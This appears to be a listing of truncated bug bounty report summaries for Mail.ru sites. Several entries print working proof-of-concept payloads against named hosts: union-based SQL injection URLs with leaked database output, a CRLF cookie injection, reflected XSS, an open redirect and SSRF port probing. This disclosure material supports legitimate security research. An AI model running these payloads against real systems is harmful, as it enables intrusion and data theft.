Mail.ru: Stored XSS на street-combats.mail.ru

Stored XSS via chat message in street-combats.mail.ru project. street-combats.mail.ru is out of scope of Mail.Ru bug bounty program...

Mail.ru: SSRF на element.mail.ru

Server Side Request Forgery in out-of-csope partner project outside of company's network...

Mail.ru: VERY DANGEROUS XSS STORED inside emails

Hi guys, This bug is very dangerous you should fix it as fast as you can To reproduce: Attach xss.eml file to a message and send it when a user open the message the javascript will be executed and xss alert box will popup this bug affect tel.mail.ru , m.mail.ru and light.mail.ru but i couldn't...

Mail.ru: [3k.mail.ru] SQL Injection

Добрый день. Функция поиска уязвимо к атаке SQL Injection. Вектор атаки - Union Based PoC. http://3k.mail.ru/info/library/index.php?obj=cat&id=212&searchST='+and+0+union+select+1,2,concatws0x3a,user,version,4,5,6,7-- a Вывод на странице: master3k@localhost:5.0.90-log...

Mail.ru: [orsotenslimselfie.lady.mail.ru] SQL Injection

Добрый день. GET параметр lastid уязвимо к SQL иньекции. Вектор атаки Union Based. PoC http://orsotenslimselfie.lady.mail.ru/ajax/contest?perPage=20&lastid=7913+union+select+concatversion,0x3a,user,2,3,4,version,6,7,8,9,10--+ вывод в JSON респонсе - 5.0.92-community-log:[email protected]...

Mail.ru: [touch.lady.mail.ru] CRLF Injection

PoC: https://touch.lady.mail.ru/%0aSet-Cookie:csrftoken=x;domain=.mail.ru; HTTP Response: HTTP/1.1 301 Moved Permanently ... Location: https://lady.mail.ru/ Set-Cookie:csrftoken=x;domain=.mail.ru; Уязвимость может быть использована для обхода CSRF защиты Django сайтов или для эксплуатации XSS чер...

Mail.ru: [parapa.mail.ru] SQL Injection reapet

SQLi in parapa.mail.ru due to unsafe usage of cookie value. On the moment of reporting, Extended scope was not covered with bug bounty, bounty was awarded as a bonus...

Mail.ru: [warofdragons.com] Content Spoofing

It was possible to insert attacker controlled text into UI message on warofdragons.com. warofdragons.com is not covered by bug bounty scope...

Mail.ru: [api.login.icq.net] Reflected XSS

https://api.login.icq.net/auth/login?doSNSAuth=-1&f=qs&idType=OID&k=ao1-uaRbbNAqtYfG&succUrl=http://c.icq.com/webicq/iconuploader/1/redir.html&supportedIdType=SN"alertdocument.domaina="&doSNSAuth=0 Тонкость: обязательно открывать через HTTPS. Работает IE 8...

Mail.ru: [api.login.icq.net] Open Redirect

https://api.login.icq.net/auth/cancel?f=1&k=1&supportedIdType=1&succUrl=http://example.com...

Mail.ru: [tanks.mail.ru] Content Spoofing

It was possible to insert attacker controlled text into UI message on tanks.mail.ru. tanks.mail.ru is not covered by bug bounty scope...

Mail.ru: [s2.jugger.ru] Content Spoofing

It was possible to insert attacker controlled text into UI message on s2.jugger.ru. s2.jugger.ru is not covered by bug bounty scope...

Mail.ru: [afisha.mail.ru] SQL Injection

Добрый день. Параметр id попадает в SQL запрос без фильтрации. Вектор атаки - Union Based SQLi PoC http://mmkf.afisha.mail.ru/imgview.html?id=3713444279+and0unionselectconcatws0x2c,version,@@versioncompileos вывод в сорцах страницы - 5.0.92-community-log:unknown-linux-gnu...

Mail.ru: Logical Vulnerability : REDIRECTING on pw.mail.ru by Parameter Spoofing

Hi Mail.ru, I was surfing in your website and i was trying to find a Reflected Cross-site Scripting Vulnerability , So i was trying to find a way to inject my payload in a LINK . While Surfing i've found this link : https://pw.mail.ru/validate/index.html?refurl=pw.mail.ru Screenshot :...

Mail.ru: [allods.my.com] SSRF / XSPA

Доброго времени суток. Уязвимость находится в функции загрузки аватара. Можно загрузить аватарку с удаленного хоста. PoC http://allods.my.com/forum/index.php?form=AvatarEdit Download avatar: http://localhost:80 - You have selected a corrupt image. порт открыт http://localhost:3306 - You have...

Mail.ru: [3k.mail.ru] Content Spoofing

Возможно подделывать сообщение ошибки авторизации, тем самым манипулировать дальнейшим поведением пользователя...

Mail.ru: [cfire.mail.ru] Time Based SQL Injection 2

Time based blind SQLi in cfire.mail.ru due to unsafe usage of cookie value. On the moment of reporting, Extended scope was not covered with bug bounty, bounty was awarded as a bonus...

Mail.ru: Multiple vulnerabilities in mail.ru subdomains

Hi. I found multiple vulnerabilities in mail.ru subdomains, affecting many mail.ru users and putting them at risk. Here are the details: AFFECTED DOMAINS: http://torg.mail.ru/---------------UI Redress Clickjacking https://pogoda.mail.ru/---------------UI Redress Clickjacking https://auto.mail.ru/...

Mail.ru: [parapa.mail.ru] SQL Injection

Добрый день. Тип уязвимости - Time Based SQL Injection, Уязвимые параметры - куки parapauid и parapasid. Уязвимость воспроизводиться на многих страницах сайта, в том числе и на форуме. PoC GET /forums/ HTTP/1.1 User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/537.36 KHTML, like Gecko...

Mail.ru: [cfire.mail.ru] Time Based SQL Injection

Добрый день. Уязвимо кукис с названием cfiresid. Рабочий PoC GET /account/userbar/ HTTP/1.1 User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.25 Host: cfire.mail.ru Accept: text/html, application/xml;q=0.9,...